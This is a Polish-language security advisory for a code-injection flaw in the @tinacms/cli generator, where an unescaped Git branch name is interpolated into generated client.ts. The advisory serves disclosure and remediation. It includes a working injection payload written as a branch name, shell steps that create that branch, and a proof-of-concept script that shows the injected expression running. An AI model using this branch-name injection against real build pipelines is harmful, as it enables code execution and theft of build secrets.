Tina: Wstrzyknięcie kodu przez niesanitaryzowaną nazwę gałęzi Git w wygenerowanym kodzie klienta
Podsumowanie
@tinacms/cli wstawia nieprzetworzoną wartość gałęzi Git do wygenerowanego kodu źródłowego client.ts bez ucieczki znaków ani kodowania. Prawidłowa według Gita nazwa gałęzi może domknąć literał łańcuchowy i wstrzyknąć dowolne wyrażenie JavaScript, które wykonuje się, gdy proces budowania aplikacji importuje wygenerowany moduł klienta.
Komponent podatny
- Źródło (odczyt gałęzi):
packages/@tinacms/cli/src/cmds/init/templates/config.tslinie 155–172 — odczytujeVERCEL_GIT_COMMIT_REF,GITHUB_BRANCHlubHEADdoconfig.branch - Transformacja (tworzenie URL):
packages/@tinacms/cli/src/next/codegen/index.tslinie 219–253 —_createApiUrl()łączy bezpośrednio gałąź z adresem URL API bezencodeURIComponent - Ujście (szablon):
packages/@tinacms/cli/src/next/codegen/index.tslinie 363–381 —genClient()interpoluje adres URL dourl: '${apiURL}' - Pokrewne ujście:
packages/@tinacms/cli/src/next/codegen/codegen/plugin.tslinia 55 —url: "${apiURL}"(ten sam wzorzec, podwójne cudzysłowy)
Przyczyna źródłowa
Szablon generatora kodu w index.ts:376 używa:
url: '${apiURL}'
gdzie apiURL zawiera surową nazwę gałęzi. Na żadnym etapie potoku nie jest stosowana funkcja JSON.stringify, encodeURIComponent ani żadne uciekanie znaków. Pojedynczy cudzysłów w nazwie gałęzi domyka literał łańcuchowy i umożliwia wstrzyknięcie wyrażenia.
Ładunek (payload)
Poniżej znajduje się poprawna nazwa gałęzi Git (akceptowana przez git check-ref-format):
x'+(globalThis.__TINA_PROBE='hit')+'
Wygenerowane źródło (ujście)
Gdy generator kodu uruchomi się z tą gałęzią, wygenerowany plik client.ts zawiera:
export const client = createClient({
url: 'https://content.tinajs.io/2.4/content/<clientId>/github/x'+(globalThis.__TINA_PROBE='hit')+'',
token: '<token>',
queries,
});
Znak ' w nazwie gałęzi domyka ciąg adresu URL. Ciąg +(globalThis.__TINA_PROBE='hit')+ jest interpretowany jako wyrażenie JavaScript. Końcowy znak +' otwiera ciąg ponownie, zachowując poprawność składni.
Kroki do odtworzenia
Wymagania wstępne: Node.js, Git, npm
mkdir /tmp/tinacms-repro && cd /tmp/tinacms-repro
git init && git commit --allow-empty -m "init"
git branch "x'+(globalThis.__TINA_PROBE='hit')+'"
npm init -y && npm install esbuild
Utwórz repro.mjs:
import { transform } from 'esbuild';
import vm from 'vm';
// Simulate VERCEL_GIT_COMMIT_REF containing the malicious branch
const branch = "x'+(globalThis.__TINA_PROBE='hit')+'";
// _createApiUrl() logic from index.ts:252
const apiURL = `https://content.tinajs.io/2.4/content/my-client/github/${branch}`;
// genClient() template from index.ts:376
const generated = `
import { createClient } from "tinacms/dist/client";
export const client = createClient({ url: '${apiURL}', token: 'xxx' });
`;
console.log("Generated source:\n", generated);
// Compile (same as consumer build)
const compiled = await transform(generated, { loader: 'ts', format: 'cjs' });
// Execute in sandboxed VM
const sandbox = {
globalThis: {},
module: { exports: {} },
exports: {},
require: () => ({ createClient: (o) => o }),
};
vm.createContext(sandbox);
vm.runInContext(compiled.code, sandbox);
console.log("__TINA_PROBE =", sandbox.globalThis.__TINA_PROBE);
// Output: __TINA_PROBE = hit
Uruchom: node repro.mjs
Wynik: globalThis.__TINA_PROBE przyjmuje wartość 'hit', co potwierdza wykonanie wstrzykniętego wyrażenia podczas ewaluacji modułu.
Próba kontrolna: Powtórzenie z branch = "feature/safe-branch" nie wywołuje wstrzyknięcia.
Wpływ
Wstrzyknięte wyrażenie wykonuje się z pełnymi uprawnieniami procesu budowania u konsumenta. W typowym środowisku wdrożeń podglądowych Vercel lub GitHub Actions:
- Zmienne środowiskowe budowania są dostępne (
process.env), co może obejmowaćNPM_TOKEN,VERCEL_TOKEN, sekrety dostawców chmury i klucze API - Artefakty kompilacji mogą zostać zmodyfikowane, co umożliwia atak na łańcuch dostaw we wdrażanym produkcie
- Dostęp sieciowy pozwala na eksfiltrację danych
Scenariusz ataku: Osoba atakująca tworzy pull request do dowolnego projektu open source korzystającego z TinaCMS z włączonymi wdrożeniami podglądowymi (np. Vercel automatycznie wdraża każdą gałąź PR). Nazwa gałęzi zawiera ładunek. Proces wdrożenia uruchamia generator Tina, generuje wstrzyknięty plik client.ts, a złośliwy kod wykonuje się w trakcie budowania.
Warunki wstępne:
- Atakujący może utworzyć gałąź lub PR wyzwalający budowanie u konsumenta
- Konsument korzysta z TinaCMS z wygenerowaną konfiguracją gałęzi (odczytującą z
VERCEL_GIT_COMMIT_REFlub odpowiednika) - Generowanie kodu Tina SDK jest włączone (domyślnie)
Ocena dotkliwości
Wysoka (High) — wykonanie dowolnego kodu w czasie budowania za pośrednictwem kontrolowanej referencji Git. Poziom krytyczny nie został przypisany, ponieważ weryfikacja nie demonstrowała eksfiltracji poufnych danych ani manipulacji artefaktami produkcyjnymi; użyto jedynie nieszkodliwego znacznika.
Sugerowane rozwiązanie
- Użyj
JSON.stringify(value), aby bezpiecznie serializować wszelkie wartości wykonawcze interpolowane w szablonach generowanego kodu źródłowego - Zastosuj
encodeURIComponent()do wartości gałęzi przed utworzeniem segmentu ścieżki adresu URL API - Zastosuj to samo podejście dla
apiURL,token,errorPolicy,cacheDiroraz szablonuAddGeneratedClientFuncwplugin.ts - Rozważ całkowite wyeliminowanie wartości wykonawczych z szablonów kodu źródłowego i przekazywanie ich przez plik konfiguracyjny JSON odczytywany przez generowanego klienta w czasie działania
Powiązane ostrzeżenie
GHSA-4936-9hrh-qqpw — zdalne wykonanie kodu przez wygenerowany kod źródłowy migracji TinaCMS Forestry. Inne źródło (etykiety Forestry YAML), inny parser (pomocnik usuwania cudzysłowów __TINA_INTERNAL__) oraz inne ujście (tina/templates.ts). Niniejsze zgłoszenie nie jest duplikatem.
Co trzeba zrobić
Zaktualizuj pakiet @tinacms/cli do wersji 3.0.0 lub nowszej.
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Paczka npm | @tinacms/cli | < 3.0.0 | 3.0.0 |
Odnośniki
- https://github.com/tinacms/tinacms/security/advisories/GHSA-pwhx-cvv3-qj5c
- https://github.com/tinacms/tinacms/pull/7526
- https://github.com/tinacms/tinacms/commit/d030d414d39e15de79bf36e4c728d57205e71dde
- https://github.com/tinacms/tinacms
- https://github.com/tinacms/tinacms/releases/tag/@tinacms/cli@3.0.0
- Wektor CVSS
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N- Słabość (CWE)
CWE-94- Platforma
- npm
- Paczka
@tinacms/cli- Ujawniono
- 09.10.2026
- Aktualizacja
- 11.10.2026 10:28
Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.
OSV / GitHub Advisory Database - GHSA-pwhx-cvv3-qj5c - CC BY 4.0
Historia podatności: @tinacms/cli
Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 9
- Pierwsza → ostatnia
- 02.2023 10.2026
- Bez poprawki
- 0
- Wykorzystywana w atakach
- 0
Rozkład istotności
- Krytyczna 1
- Wysoka 6
- Średnia 2
Ujawnienia w latach
- 2023: 1
- 2024: 1
- 2025: 1
- 2026: 6
-
Tina: Wstrzyknięcie kodu przez niesanitaryzowaną nazwę gałęzi Git w wygenerowanym kodzie klienta ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.